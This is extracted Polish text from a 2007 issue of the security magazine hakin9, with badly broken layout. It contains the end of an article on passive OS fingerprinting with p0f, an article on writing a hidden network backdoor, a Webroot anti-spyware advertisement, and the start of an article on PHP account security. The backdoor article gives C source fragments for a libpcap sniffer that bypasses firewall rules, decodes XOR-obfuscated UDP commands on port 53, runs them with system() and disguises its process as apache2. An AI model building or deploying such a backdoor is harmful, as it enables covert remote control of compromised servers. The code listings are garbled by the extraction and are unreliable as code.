mu OpenBSD (dodając odpowiednią
regułę można na przykład odrzucać
pakiety wysłane przez systemy z ro-
dziny MS Windows). Podobne moż-
liwości można dodać przy pomo-
cy odpowiedniej łatki do linuksowe-
go netfilter.

Program podczas pracy wyko-

rzystuje gotowe sygnatury systemów

(przechowywane w zwykłych plikach
tekstowych), które porównuje z infor-
macjami przenoszonymi przez prze-
chwycone pakiety. Przykładowa sy-
gnatura dla systemu Linux 2.0.3x
wygląda następująco:

512:64:0:44:

M*:.:Linux:2.0.3x

. Kolejne pola (od-

dzielone dwukropkami) w tym zapi-
sie oznaczają:

• 512 – rozmiar okna TCP;
• 64 – początkowa wartość TTL;
• 0 – obecność flagi Don't Frag-

ment (zero oznacza brak);

• 44 – rozmiar pakietu;
• M* – maksymalny rozmiar seg-

mentu (MSS) – znak gwiazdki
oznacza dowolną wartość.

Ponieważ p0f wykorzystuje biblio-
tekę pcap, możliwe jest zastosowa-
nie reguł BPF do filtrowania analizo-
wanych pakietów (na przykład jeśli
chcemy ograniczyć się tylko do kom-
puterów łączących się z usługami na
konkretnym porcie) lub nasłuchiwa-
nie na wybranym urządzeniu (wyko-
rzystując opcję

-i

Program jest całkowicie darmo-

wy i działa na wielu systemach. W
przypadku Windows wymagana jest
biblioteka WinPcap.

Jak nie dać się wykryć

Chcąc oszukać taki program jak p0f
czy nmap będziemy zmuszeni do
samodzielnej edycji kodu źródło-
wego jądra lub wykorzystania goto-
wych pakietów, które dokonają od-
powiedniej modyfikacji za nas. Do
najbardziej znanych należą Ipper-

sonality oraz kosf (The Kernel OS

Faker). Potrafią skutecznie zmienić
zachowanie naszego stosu TCP/IP
w taki sposób, aby ciekawska osoba
po drugiej stronie myślała, że uży-
wamy na przykład sieciowej dru-
karki laserowej. Wadą takiego roz-
wiązania jest ewentualne osłabie-
nie jakości stosu sieciowego przez
co stanie się mniej wydajny i podat-
ny na różnego rodzaju ataki. Z te-
go powodu wymienione pakiety mo-
gą służyć jedynie do zabawy w do-
mu. Nigdy nie powinno się ich stoso-
wać na systemach pełniących waż-
ne funkcje.

Istnieje jednak bezpieczne roz-

wiązanie, które spowoduje, że roz-
poznanie nazwy naszego systemu
będzie znacznie utrudnione. Polega
na zmianie domyślnej wartości pola
TTL w wysyłanych pakietach. Można
tego dokonać jednym poleceniem:

# echo 128 > /proc/sys/net/ipv4/ip_

default_ttl

Po tym zabiegu p0f określi nasz sys-
tem jako

Unknown

, czyli nierozpozna-

ny. Zmiana TTL nie ma żadnego
wpływu na wydajność i bezpieczeń-
stwo połączeń, więc może być stoso-
wana bez obaw. Oczywiście wszyst-
kie aplikacje, które mają dostęp do
warstwy sieciowej i transportowej
czyli samodzielnie generują nagłów-
ki pakietów (na przykład skaner sie-
ciowy nmap), nie będą respektowały
wprowadzonych zmian.

Podsumowanie

Pasywny fingerprinting ma wiele zalet.
Jest szybki i zupełnie anonimowy. Z
powodzeniem może być wykorzysty-
wany w systemach IDS (Intrusion De-

tection System) i wszędzie tam gdzie
potrzebne jest bardzo szybkie dostar-
czenie informacji na temat sieci, użyt-
kowników serwera lub innej maszyny
o krytycznym znaczeniu. l

O autorze

Zajmuje się bezpieczeństwem sieci i
systemów komputerowych. Czasami
bawi się w programistę tworząc coś, co
ma być przydatne, ale różnie z tym by-
wa. Na co dzień student drugiego ro-
ku informatyki. Kontakt z autorem: el-
ceef@itsec.pl

Uptime

Pakiety TCP mogą zawierać dodat-
kową informację w postaci znacznika
czasu – opcji timestamp. Różne syste-
my zwiększają jej wartość z różną czę-
stotliwością, najczęściej o 100 w ciągu
sekundy. Jeśli pomnożymy ten znacz-
nik przez odpowiednią częstotliwość,
otrzymamy czas działania danego sys-
temu (od jego ostatniego uruchomie-
nia), czyli tzw. uptime.

www.hakin9.org

hakin9 Nr 3/2007

Obrona

o włamaniu do systemu intruz zwykle
podejmuje próbę zostawienia sobie
tylnej furtki, aby w przyszłości mieć

możliwość jego kontroli. W większości przy-
padków osiągane jest to dwuetapowo: po-
przez instalację właściwego backdoora oraz
oprogramowania określanego jako “rootkit”,
mającego ukryć obecność backdoora w sys-
temie. Klasyczny rootkit przechwytuje wy-
brane wywołania systemowe wprowadzając
do nich własne funkcjonalności. Zwykle ma
to na celu usunięcie prezentowania informa-
cji o zainstalowanym oprogramowaniu intru-
za oraz o eksploatowanych przez to oprogr-
mowanie zasobach systemowych. Takie roz-
wiązania charakteryzują się jednak wysokim
stopniem iwazyjności w system-ofiarę. Wy-
korzystanie rootkitów może powodować ano-
malie w pracy serwera - zmniejszenie wydaj-
ności, destabilizację, zaburzenie (albo całko-
wite zaprzestanie) działania określonej grupy
programów lub usług itp. Wszystkie wymie-
nione elementy zostają zwykle dosyć szybko
zauważone i wywołują wzmożenie czujności
administratora, wnikliwą analizę problemu,
a w konsekwencji wykrycie faktu naruszenia
bezpieczeństwa.

Dodatkowo istnieje kolejna trudność. Ma

ona miejsce w przypadku pozostawienia
backdoora, który na określonym porcie sie-
ciowym nasłuchuje w oczekiwaniu na pakie-
ty od intruza. W takim wypadku zmiana poli-
tyki firewalla powodująca odrzucenie pakie-
tów sieciowych kierowanych na port backdo-
ora spowoduje że komunikacja z nim stanie
się niemożliwa. Filtr IP zablokuje transport
pakietów do warstwy aplikacji i nastąpi brak
możliwości jakiejkolwiek komunikacji z tylny-
mi drzwiami.

Niewidzialne backdoory

Michał Styś

stopień trudności

Pozostawienie w skompromitowanym systemie tylnej furtki w

postaci programu otwierającego port, na którym oczekuje on

pakietów z poleceniami od intruza wiąże się z dużą łatwością

zdekonspirowania całego przedsięwzięcia przez administratora.

Dodatkowo wykorzystanie takiego backdoora utrudnić może

polityka firewalla ustalona na zaatakowanej maszynie.

Z artykułu nauczysz się...

• jak ukryć sieciowy backdoor w systemie
• jak uniezależnić komunikację z backdoorem od

polityki firewalla zastosowanej na atakowanym
serwerze

Powinieneś wiedzieć...

• powinieneś znać podstawy modelu OSI
• powinieneś posiadać wiedzę o protokołach IP

oraz UDP

• powinieneś znać język C

Ukrywanie sieciowych backdoorów

hakin9 Nr 3/2007

www.hakin9.org

W obliczu wymienionych proble-

mów, rozwiązaniem jest stworzenie
backdoora jak najmniejszego, moż-
liwie najmniej inwazyjnego oraz nie-
wrażliwego na stan firewalla. Do-
datkowo należy zwrócić uwagę na
aspekty ukrycia lub zamaskowania
jego obecności w systemie kompu-
terowym.

Kamuflaż

Jako pierwsza, rozważona zosta-
nie kwestia ukrycia nasłuchu na por-
cie sieciowym. Aby osiągnąć ten cel,
należy zauważyć, że do przesłania
danych pomiędzy dwiema aplika-
cjami w sieci IP, nie potrzeba wca-
le otwierać portu po stronie odbior-
cy (patrz Ramka Komunikacja sie-

ciowa bez otwartych portów). Za-
miast pełnej komunikacji, backdo-
or będzie przechwytywał pakiety w
ten sam sposób, w jaki robi to snif-
fer sieciowy. Wiąże się to oczywiście
z utratą wszystkich funkcjonalności,
jakie daje zaimplementowana w sys-
temach operacyjnych obsługa proto-
kołów warstwy transportowej. Opro-
gramowanie backdoora musi więc
posiadać minimalny zestaw opera-
cji umożliwiający zweryfikowanie
poprawności otrzymanego pakietu.
Dzięki takiemu podejściu, backdo-
or nie będzie jawnie bindował żad-
nego portu, a więc administrator nie
wykryje go w procesie monitoringu
otwartych portów.

Drugą kwestią jest uniezależ-

nienie programu od ściany ognio-
wej. W rozwiązaniu tego proble-
mu pomocna będzie ta sama wła-
ściwość, która pozwliła ukryć fakt
nasłuchu sieciowego. Teraz umoż-
liwi wykorzystanie naszych tylnych
drzwi w warunkach zablokowania
portu przez administratora. Nie bę-
dzie mieć znaczenia polityka fire-
walla ustawiona dla portu na któ-
rym backdoor oczekuje pakietów.
Projektowany program działał bę-
dzie bowiem w tej samej warstwie
co filtr sieciowy. Filtr ten jest w sta-
nie zablokować transport pakietów
do warstwy aplikacji, jednak tylko
wtedy gdy aplikacja komunikuje się
za pośrednictwem sieci w standar-
dowy sposób.

Kolejną ważną cechą progra-

mu backdoora jest fakt, że może on
oczekiwać pakietów na porcie, któ-
ry został już otwarty i jest wykorzy-
stywany przez inną usługę. W ta-
kich wypadkach zwrócić należy do-
datkową uwagę na fakt, że pakie-
ty z poleceniami dla backdoora bę-
dą przekazywane również do sa-
mej aplikacji. Dodatkowo komuni-
kacja może zostać wykryta przez
system typu anomally IDS, którego
zadaniem jest nadzór komunikacji i
wykrywanie w niej wszelkich ele-
mentów będących odstępstwem od
normy. W załączonym do artykułu
oprogramowaniu ładunek pakietów
do komunikacji z backdoorem nie
przypomina swoją strukturą ładun-
ku żadnego z istniejących protoko-
łów sieciowych. Można jednak pod-
jąć próby dodatkowego kamuflażu i
przemycania komunikatów dla tyl-
nych drzwi w pakietach, które bę-
dą zgodne z istniejącymi protoko-
łami sieciowymi warstwy aplikacji
w takim stopniu, że staną się nie-
zauważalne dla systemów IDS. Au-
tor niniejszego artykułu jest otwar-
ty na wszelkie sugestie i pomysły w
tym zakresie.

Implementacja

backdoora

Pierwszym krokiem przy projekto-
waniu programu jest specyfikacja
wymagań, jakie program ten musi
spełniać. Od tylnych furtek zwykle
wymaga się możliwości ingerencji
w system operacyjny za ich pośred-
nictwem. W prezentowanym przy-
kładzie, zaimplementowana zosta-
nie możliwość zdalnego wykonywa-
nia poleceń w systemie z zainstalo-
wanym backdoorem.

Model komunikacji

Jako protokół transmisyjny do komu-
nikacji wybrany został UDP. Protokół
ten, mimo swojej naturalnej zawod-
ności znakomicie nadaje się do prze-
syłania niewielkich porcji danych w
szybki i łatwy sposób.

Aby efektywnie móc przekazać

polecenie do znajdującego się w
odległym systemie backdoora, na-
leży ustalić format danych w jakim
przesyłane one będą poprzez sieć.
Zgodnie z tym, co napisane zosta-
ło wcześniej, nasza tylna furtka bę-
dzie miała możliwość oczekiwa-
nia na pakiety również na portach,
które wykorzystywane są w danej
chwili przez inną usługę. Wiąże się
to z koniecznością wprowadzenia
mechaniki pozwalającej na odróż-
nienie, które dane przeznaczone
są dla backdoora, a które nie. Pa-
kiet musi także zawierać treść ko-
mendy, jaka ma być wykonana w
zdalnym systemie oraz informacje
pozwalające na weryfikację jego
integralności.

Komunikacja sieciowa

bez otwartych portów

W ostatnim czasie coraz bardziej po-
pularne staje się wykorzystywanie do
pewnych celów komunikacji sieciowej
bez standardowego kojarzenia aplikacji
nasłuchującej z danym portem. Podej-
ście to ma wiele zastosowań (m.in. port
knocking opisany w numerze 5/2005
pisma Hakin9), a rozwój biblioteki
PCAP (dostępnej pod adresem http://
sourceforge.net/projects/libpcap/) bę-
dącej wysokiej jakości wieloplatformo-
wym interfejsem programistycznym dla
przechwytywania pakietów znacznie
ułatwia implementację narzędzi wyko-
rzystujących analizę danych na pozio-
mie niższych warstw modelu OSI.

Rysunek 1.

Format danych dla backdoora

sygnatura

dane

długość

danych

suma

kontrolna

Tabela 1.

Tablica prawdy dla

alternatywy wykluczającej

p XOR q

hakin9 Nr 3/2007

www.hakin9.org

Obrona

Proponowanym rozwiązaniem

wyżej wymienionych elementów jest
wprowadzenie formatu danych, któ-
rego postać określa Rysunek 1.

Programowo format ten zrealizo-

wany został jako struktura przedsta-
wiona na Listingu 1.

Elementem odróżniającym dane

dla tylnych drzwi od danych prze-
znaczonych dla innych aplikacji
jest pierwsze pole – sygnatura. Po-
zwala na umieszczenie krótkiej se-
kwencji znaków cechującej pakiet.
Po jej wykryciu, backdoor rozpocz-
nie przetwarzanie otrzymanych da-
nych. Drugie pole to długość da-
nych. Przechowuje informację o
ilości znaków zawartych w tablicy

data

. Informacja ta jest niezbędna,

z uwagi na fakt, że przesyłane da-
ne mają zmienną długość, a ponie-
waż w celu ukrycia treści polece-
nia zastosowana zostanie techni-
ka prostego szyfrowania, w danych
mogą pojawić się zerowe bajty. W
takim wypadku określenie prawdzi-
wej długości danych byłoby utrud-
nione. Pole

data _ len

pozwala na

uniknięcie tego problemu. Czyn-
nikiem poprawiającym stabilność
całego układu jest suma kontrolna
crc32 umieszczona w polu

crc

Omówione elementy są wstę-

pem do prowadzenia komunika-
cji w warunkach braku mozliwości
polegania na systemowej imple-
mentacji protokołów. Mając usta-
lony język w jakim będzie poro-
zumiewać się nasze oprogramo-
wanie, czas na stworzenie modu-
łu formującego i wysyłającego pa-
kiet do sieci.

Moduł wysyłania

komend

Zadaniem modułu wysyłającego jest
pobranie z linii komend parametrów
określających cel podróży pakietu,
wypełnienie struktury z Listingu 1,
osadzenie danych na protokole UDP
a następnie wysłanie ich do miejsca
przeznaczenia. Program wysyłający
nosi nazwę

sender

i przyjmuje nastę-

pujące parametry:

Usage: ./sender <IPaddress> <Port>

"<Command>"

Parametrami są: docelowy adres IP,
docelowy port oraz treść polecenia,
które ma być wykonane w zdalnym
systemie.

W takim podejściu istotną rze-

czą jest zamaskowanie polecenia
przesyłanego przez sieć. Przesłanie

go jawnym tekstem znacznie zwięk-
sza ryzyko wykrycia komunikacji. W
programach tego typu wystarczają-
cym rozwiązaniem okazuje się pro-
ste szyfrowanie tekstu przy wyko-
rzystaniu alternatywy wykluczającej
XOR. Funktor XOR posiada tą cieka-

Listing 1.

Struktura do przechowywania formatu danych dla backdoora

struct

header

{

char

sig

[

];

unsigned

short

data_len

;

unsigned

int

crc

;

char

data

[

PAYLOAD

];

}

;

Listing 2.

Najważniejsze fragmenty kodu wysyłającego pakiet do

backdoora

[

...

]

char

packet

(

char

malloc

(

fixedsize

);

struct

header

head

(

struct

header

packet

;

[

...

]

count

strlen

(

argv

[

]);

ptr

pass

;

for

(

;

count

;

++)

{

ptr

)

ptr

pass

;

head

data

[

]

ptr

argv

[

][

];

payloadsize

++;

}

head

data_len

htons

(

count

);

head

crc

htonl

(

crc32b

(

head

data

count

));

[

...

]

servaddr

sin_family

AF_INET

;

servaddr

sin_port

htons

(

atoi

(

argv

[

]));

inet_pton

(

AF_INET

argv

[

]

servaddr

sin_addr

);

sockfd

socket

(

AF_INET

SOCK_DGRAM

);

sendto

(

sockfd

packet

headersize

payloadsize

(

servaddr

sizeof

(

servaddr

));

Listing 3.

Kod przetwarzający pakiet nadesłany do backdoora

strncmp

(

sig

head

sig

))

{

data_len

ntohs

(

head

data_len

);

orig_checksumm

ntohl

(

head

crc

);

ptr

pass

;

for

(

;

data_len

;

++)

{

ptr

)

ptr

pass

;

in_buff

[

]

ptr

head

data

[

];

(

1023

)

break

;

}

checksum

crc32b

(

head

data

data_len

);

(!(

checksum

orig_checksumm

))

system

(

in_buff

);

}

Ukrywanie sieciowych backdoorów

wą cechę, że zastosowana dwa ra-
zy na tych samych danych nie zmie-
nia ich. Właściwość tą da się wyko-
rzystać do szyfrowania i deszyfrowa-
nia. Jeśli ustalimy pewien zbiór zna-
ków jako klucz, a następnie według
tego klucza przetworzymy funkcją
XOR ciąg tekstu, to otrzymamy w ten
sposób zaszyfrowany ciąg danych.
Aby przywrócić oryginalne dane, wy-
starczy zaszyfrowany ciąg poddać
przetworzeniu funkcją XOR przy wy-
korzystaniu tego samego hasła co
przy szyfrowaniu. Nie jest to meto-
da nadająca się do szyfrowania bar-
dzo poufnych danych, ale w omawia-
nym zastosowaniu jest w zupełności
wystarczająca. Tabela 1 przedstawia
tablicę prawdy dla funktora logiczne-
go XOR.

Zastosowanie szyfrowania przez

XOR'owanie pozwala na osiągnię-
cie jeszcze jednego bardzo ważne-
go celu. Nie chcielibyśmy, aby do-
wolna osoba mogła wykorzystywać
backdoor. Dzięki zastosowaniu sy-
metrycznej techniki szyfrowania, bę-
dzie to mógł robić tylko ten, kto po-
siada hasło szyfrujące. Zaletą tego
podejścia jest fakt, że jawne hasło
nie jest w żadnym momencie przesy-
łane przez sieć. Do wad należy sła-
bość mocy samego szyfru.

W projektowanym programie

hasło ustalić można w pliku

src/

global.h

zmieniając linię:

#define PASSWORD "secretpass"

Następnie należy przekompilować
program. Listing 2 przedstawia naj-
ważniejsze elementy programu wy-
syłającego dane. Na listingu drugim
zobaczyć można rzutowanie wskaź-
nika struktury

header

w celu łatwe-

go wypełnienia tablicy

packet

zgod-

nie z formatem samej struktury. W
następnym kroku odbywa się szy-
frowanie danych i umieszczenie ich
w odpowiednim polu. Po wypełnie-
niu wszystkich pól struktury, pro-
gram tworzy datagramowe gniazdo
sieciowe zgodne z parametrami po-
danymi z linii komend i wysyła pa-
kiet do sieci.

Moduł odbioru i

realizacji komend

Elementem odbierającym i realizu-
jącym polecenie wysłane przez sieć
jest właściwy backdoor. Działa on
w sposób podobny do sniffera sie-
ciowego. Napisany został przy wy-
korzystaniu biblioteki libpcap. Re-
gułę filtra według której odbywa się
analiza pakietów zdefiniować moż-

na z poziomu pliku nagłówkowego

src/global.h

. Domyślnie jest ona na-

stępująca:

#define LISTEN_STRING "udp port 53"

Oznacza to, że program będzie
analizował pakiety UDP przesyłane
na port o numerze 53. Port 53 jest
dobrze znany portem usługi DNS, a
więc istnieje możliwość, że w sys-
temie na porcie tym działał będzie
program BIND (lub inny demon ob-
sługi DNS). Zgodnie z opisanymi
wcześniej funkcjonalnościami, nie
przeszkadza to naszemu oprogra-
mowaniu do stabilnej pracy. Pakie-
ty przeznaczone dla usługi DNS
będą przez backdoor ignorowane,
ponieważ nie posiadają cech jakich
oczekuje. Kod backdoora przetwa-
rzający analizowany pakiet według
opisanych kryteriów znajduje się na
Listingu 3.

Jak widać na Listingu 3, podsta-

wowym elementem determinującym
podjęcie jakichkolwiek działań jest
sprawdzenie sygnatury. Jeśli jest
ona zgodna z sygnaturą pakietów
backdoora, następuje dalsze prze-
twarzanie. Kolejnym krokiem jest zli-
czenie sumy kontrolnej. Jeśli jest ona
zgodna z sumą kontrolną zawartą w

hakin9 Nr 3/2007

www.hakin9.org

Obrona

pakiecie, nastepuje wykonanie pole-
cenia w systemie.

Zastosowanie funkcji

system

wykonania komendy nie jest zbyt
eleganckim pomysłem. Sposób ten
został wykorzystany jedynie w celu
ilustracji idei budowy niebindujące-
go portu backdoora.

Jak już było wspominane, back-

door zbudowany został w oparciu
o bibliotekę libpcap. Opis bibliote-
ki zaprezentowany został na ła-
mach hakin9 (Nr 6/2006). Inicjali-
zacja sniffera i uruchomienie pętli
oczekującej na pakiety znajduje się
na listingu 4.

Backdoor domyślnie nasłuchu-

je na wszystkich dostępnych w
systemie interfejsach sieciowych.
Po zdefiniowaniu reguły filtra

“udp

port 53”

, wysłanie pakietu z pole-

ceniem powinno mieć następują-
cą postać:

./sender adres_ip 53 "echo test >

/root/test"

Wysłanie tego polecenia spowo-
duje założenie pliku

test

w katalo-

root

Oprogramowanie dołączone na

płycie CD może działać w dwóch try-
bach: jako demon oraz w trybie de-
bugowania. W trybie debugowania
program nie pracuje w tle i prezentu-
je informacje o pakietach jakie są do
niego adresowane. Aby uruchomić
tryb debugowania należy uruchomić
backdoor następująco:

./backdoor -D

Przykładowe dane generowane
przez backdoor w trybie debugowa-
nia po wysłaniu pakietu:

./sender 127.0.0.1 53 "echo test >

/root/test"

Wyglądają następująco:

Good signature: [S]
original checksumm: 0x86bbead2 computed
checksumm: 0x86bbead2 - OK!
Command length: 22
Executing command: echo test > /root/

test

Ukrycie procesu

w systemie

W obecnej postaci, program wypo-
sażony został w prostą technikę ma-
skowania się w systemie. Polega ona
na podmianie nazwy własnego pro-
cesu. Operację tą realizuje linia:

strcpy(argv[0], FAKENAME);

Stała FAKENAME może być ustala-
na z poziomu pliku

src/global.h

. Do-

myślnie program podszywa się pod
serwer apache:

#define FAKENAME "/usr/sbin/apache2 -D
DEFAULT_VHOST -d /usr/lib/apache2 -f
/etc/apache2/httpd.conf -k start"

Prezentowany program można
oczywiście połączyć z bardziej
wyrafinowanymi metodami kamul-
fażu.

Podsumowanie

Opisane techniki działania tyl-

nych furtek niosą jak widać wie-
le nowych możliwości. Niewrażli-
wa na reguły firewalla komunika-
cja może sprawić masę proble-
mów w zabezpieczaniu się przed
tego typu technikami. Z pewno-
ścią warto jest poświęcić temu za-
gadnieniu trochę czasu przy kolej-
nej kontroli stanu bezpieczeństwa
serwera. l

W Sieci

• http://www.tla.ch/TLA/NEWS/2004sec/20040224PortKnocking.htm - artykuł o

backdoorach wykorzystujących technologię port knocking

• http://www.linuxjournal.com/article/6811 - artykuł o port knockingu
• http://www.packetstormsecurity.org - zbiór oprogramowania oraz artykułów doty-

czących bezpieczeństwa komputerowego

• http://sourceforge.net/projects/libpcap/ - biblioteka libpcap

Listing 4.

Inicjalizacja modułu analizy sieciowej backdoora

(

pcap_lookupnet

(

NULL

net

mask

errbuf

)

{

printf

(

"Error reading device data!

);

exit

(

);

}

((

sniff_session

pcap_open_live

(

NULL

BUFSIZ

errbuf

))

NULL

)

{

printf

(

"Error opening interface!

);

exit

(

);

}

set_hlength

(

pcap_datalink

(

sniff_session

));

(

pcap_compile

(

sniff_session

filter

filter_string

net

)

{

printf

(

"Error compiling filter!

);

exit

(

);

}

(

pcap_setfilter

(

sniff_session

filter

)

{

printf

(

"Error setting filter!

);

exit

(

);

}

pcap_loop

(

sniff_session

pkt_process

);

O autorze

Aktualnie jestem studentem ostatniego roku Informatyki na Akademii Górniczo-Hutni-
czej w Krakowie. Do moich głównych zainteresowań należy programowanie, admini-
stracja systemów komputerowych oraz aspekty bezpieczeństwa informatycznego.

Wraz z rozwojem programów szpiegowskich, ochro-
na sieci firmowej przed tego typu zagrożeniami sta-
je się potrzebą nie mniej ważną niż uznawana dziś
za niezbędną ochrona antywirusowa.

NISKA SKUTECZNOŚĆ ROZWIĄZAŃ
DARMOWYCH

Jak dowiodły liczne, niezależne testy, stosowane
czasem darmowe rozwiązania pod względem sku-
teczności znacznie odbiegają od rozwiązań komer-
cyjnych. Nie pozwalają także na centralną admini-
strację, tym samym obciążając dział IT i zmusza-
jąc go do doraźnego reagowania na już zaistnia-
łe szkody.

SPY SWEEPER ENTERPRISE –
OCHRONA SIECI KORPORACYJNEJ

Spy Sweeper Enterprise chroni komputery pracują-
ce w systemie Windows, zabezpieczając je przed ata-
kami spyware. Technologia CRT (

Comprehensive Re-

moval Technology) jak również praca aplikacji klienc-
kich na zasadzie sterowników jądra systemu, pozwa-
la na całkowite usunięcie oraz ochronę przed spywa-
re, bez wpływu na stabilność systemu operacyjne-
go. Spy Sweeper wyróżnia się najniższym na rynku
wskaźnikiem fałszywych alarmów (

false-positive)

wynoszącym 1:1 000 000, dzięki czemu żadna waż-
na dla firmy aplikacja nie zostanie zablokowana lub
usunięta przez program antyszpiegowski.

OCHRONA WSZYSTKICH KOMPONEN-
TÓW SYSTEMU

Spy Sweeper zapewnia kompletną ochronę przed
spyware w czasie rzeczywistym. Monitorowana
jest pamięć komputera oraz Alternative Data Stre-
ams – dzięki czemu skutecznie chroni przed ro-

otkitami ukrywającymi się w tym obszarze. Moni-
tor rejestru analizuje dokonywane wpisy, spraw-
dzając czy nowe lub istniejące wpisy, nie suge-
rują obecności aplikacji spyware w systemie. Pro-
gram chroni ustawienia przeglądarki interneto-
wej (m.in. blokuje nieautoryzowane kontrolki Acti-
veX), blokuje nieautoryzowane zmiany w pliku ho-
sts, a także ustawienia autostartu, powiadamiając
administratora o próbach instalacji wrogiego opro-
gramowania.

AKTUALIZACJE BAZY SYGNATUR

Ponieważ spyware szybko ewoluuje, ważny jest
dostęp do aktualnej bazy sygnatur. Firma We-
broot producent programu Spy Sweeper, jako je-
dyna na rynku utrzymuje system robotów sie-
ciowych (

Phileas), nieprzerwanie skanujących

sieć w poszukiwaniu nowych zagrożeń. W efek-
cie Spy Sweeper potrafi rozpoznać nowe zagro-
żenie dużo wcześniej, nim użytkownik napotka
je w sieci. Obecnie Spy Sweeper identyfikuje po-
nad 150 000 zagrożeń typu spyware (koni trojań-
skich, monitorów systemu, rootkitów czy aplika-
cji typu keylogger) zajmując czołowe pozycje w
testach porównawczych (

m.in. http://anti-spywa-

re-review.toptenreviews.com/).

CENTRALNE ZARZĄDZANIE

Spy Sweeper umożliwia administratorowi (lub
grupie administratorów) zarządzanie ochroną
antyspyware na komputerach nawet w dużych
sieciach korporacyjnych. Wszystkie zadania, po-
cząwszy od instalacji klientów, poprzez konfigu-
rowanie skanowania, automatyczne aktualizacje,
a skończywszy na blokowaniu dostępu do wybra-
nych programów oraz serwisów WWW, realizowa-
ne są z jednego miejsca – centralnej konsoli za-
rządzającej, dostępnej również z poziomu prze-
glądarki internetowej.

Rozbudowany system raportowania daje moż-

liwość szybkiej oceny zagrożenia występującego
w sieci. Program umożliwia wydzielanie serwerów
dystrybucyjnych, z których komputery użytkow-
ników będą pobierały aktualizacje, zmniejszając
tym samym obciążenie serwera głównego. Kom-

putery przenośne znajdujące się poza siecią fir-
mową mogą pobierać aktualizacje bezpośrednio z
sieci Internet.

ELASTYCZNOŚĆ KONFIGURACJI

Centralna konsola pozwala administratorowi na
zdefiniowanie domyślnej reakcji na znalezione pro-
gramy spyware. Dostępne są opcje automatyczne-
go usuwania, przenoszenia do kwarantanny, kaso-
wania z kwarantanny po określonej liczbie dni dla
kilku różnych grup wrogich programów. O akcjach
podjętych przez program administrator może być
informowany poprzez e-mail. Większość ustawień
konfiguracyjnych można oddać samym użytkow-
nikom komputerów, odciążając administratora. W
razie potrzeby administrator może jednak zablo-
kować możliwość zmiany ustawień przez użyt-
kownika stacji roboczej, a nawet całkowicie ukryć
przed użytkownikiem aplikację kliencką. Spy Swe-
eper posiada bardzo elastyczny mechanizm kon-
figurowania polityk bezpieczeństwa, który umoż-
liwia dowolną konfigurację uprawnień użytkowni-
ków. Program umożliwia dowolne skonfigurowanie
portów na jakich działają poszczególne usługi oraz
ma możliwość włączenia szyfrowania SSL w komu-
nikacji pomiędzy stacjami roboczymi, a konsolą
zarządzającą oraz pomiędzy konsolą, a serwera-
mi firmy Webroot.

UDOSTĘPNIENIE DO TESTÓW

Efektywność i wygodę centralnego zarządzania
programu Spy Sweeper Enterprise najlepiej spraw-
dzić testując go w realnych warunkach podczas
pracy w firmie – rozwiązanie do testów udostęp-
nia DAGMA Sp. z o.o. – dystrybutor firmy Webro-
ot w Polsce.

Źródło

http://anti-spyware-review.toptenre-

views.com/

Dagma Sp. z o.o.
Pszczyńska 15, 40-478 Katowice
tel. (32) 259 11 00
fax (32)259 11 90
sales@dagma.pl
www.dagma.pl

Kontakt:

Reklama

Tableka 1. Ilość rozpoznawanych zagrożeń

Spy Sweeper

153692

Ad-aware SE/Pro

36254

McAffe Anti-spyware

38996

OCHRONA SIECI FIRMOWEJ PRZED SPYWARE

KLUB TECHNICZNY

www.hakin9.org

hakin9 Nr 3/2007

Obrona

drugiej strony spotykamy programistów
PHP, którzy chcąc nam ułatwić życie, pi-
szą wszelkiej maści, bardziej lub mniej

zaawansowane, płatne lub nie, skrypty PHP
- fora internetowe, księgi gości, systemy CRM,
CMS etc. Czy można im zaufać bezgranicznie?
Oczywiście, że nie, jednak niestety w większo-
ści przypadków takim ślepym zaufaniem są ob-
darzani, bo jaki (normalny) webmaster przeglą-
dać będzie setki, czy nawet tysiące linii skryp-
tu PHP, skoro sama ich instalacja może zabrać
całkiem niemało czasu?

Te dwa zagadnienia będą dla nas istotne w

niniejszym artykule w trakcie snucia dywagacji
na temat bezpieczeństwa internetowych serwi-
sów WWW opartych o skryptowy język PHP.

Na czym polega główny problem?
Prawie wszystkie serwisy PHP są w jakiś

sposób moderowane i w jakiś sposób składu-
ją dane. Najczęściej informacje o użytkowni-
kach i ich hasłach, artykułach, produktach et
cetera składowane są w bazach danych SQL.
Skrypt chcąc się połączyć z ową bazą musi
znać do niej co najmniej login i hasło, co za-
pisywane jest w odpowiednim pliku konfigura-
cyjnym (przeważnie config.php). Często ha-
sło do bazy jest identyczne z hasłem do kon-

ta FTP/SSH/MAIL na tym serwerze, nie wspo-
minając o tym, że również może pokrywać się
z innymi hasłami konkretnego użytkownika na
innych serwerach czy też w bankach (któż spa-
mięta tak wiele haseł?), zatem ich bezpieczeń-
stwo trzeba przyjąć za kluczowe.

Sytuacja na serwerze

Korzystając

niewielkiego

uproszcze-

nia, możemy przyjąć dwa możliwe warian-
ty uruchamiania skryptów PHP – PHP uży-
te jako moduł demona WWW (mod_php), co

Bezpieczeństwo kont PHP

Paweł Maziarz

stopień trudności

PHP zawładnęło Internetem. Rynek dynamicznych serwisów

internetowych bazuje na tym języku skryptowym, tak jak część

witryn komercyjnych. Firmy hostingowe prześcigają się w

przekonywaniu klientów, proponując PHP4 lub PHP5, alternatywne

serwery baz danych, korzystniejszą pojemność konta. Czy nie

zapominają o bezpieczeństwie pojedynczego konta?

Z artykułu dowiesz się...

• jakie są możliwości obejścia zabezpieczeń

PHP

• na jakie funkcje PHP należy zwrócić szczegól-

ną uwagę w skryptach z różnych źródeł

Co powinieneś wiedzieć...

• powinieneś znać podstawy programowania w

języku PHP

• powinieneś mieć pojęcie o systemach Linux/

Unix

Bezpieczieńczstwo kont PHP

hakin9 Nr 3/2007

www.hakin9.org

oznacza, że właścicielem każde-
go procesu jest ten sam użytkownik,
z którego sprzętu uruchamiana jest

usługa WWW (najczęściej apache,
nobody, www albo www-data) lub
PHP uruchamiane jako skrypt CGI/

FastCGI, co powoduje, że właścicie-
lem procesu jest właściciel konkretne-
go skryptu. W pierwszym przypadku,
po umieszczeniu skryptu na serwerze
należy mu dać prawa do odczytu dla
wszystkich (np. chmod 644 plik.php),
widać zatem, że system operacyjny
nie będzie miał nic przeciw, by kto-
kolwiek inny niż właściciel przeczy-
tał ten plik. W przypadku drugim nato-
miast nikt poza właścicielem skryptu
nie musi mieć prawa do jego odczytu,
w praktyce jednak rzadko spotyka się
tak samolubnych użytkowników, a z
drugiej strony i tak pozostają jeszcze
prywatne pliki użytkownika, które nie
są skryptami PHP, a więc by mogły
być serwowane przez usługę WWW,
muszą mieć one zatem prawa dostę-
pu jak w przypadku pierwszym.

Nasz mały teatrzyk

W celu uwidocznienia problemu, zor-
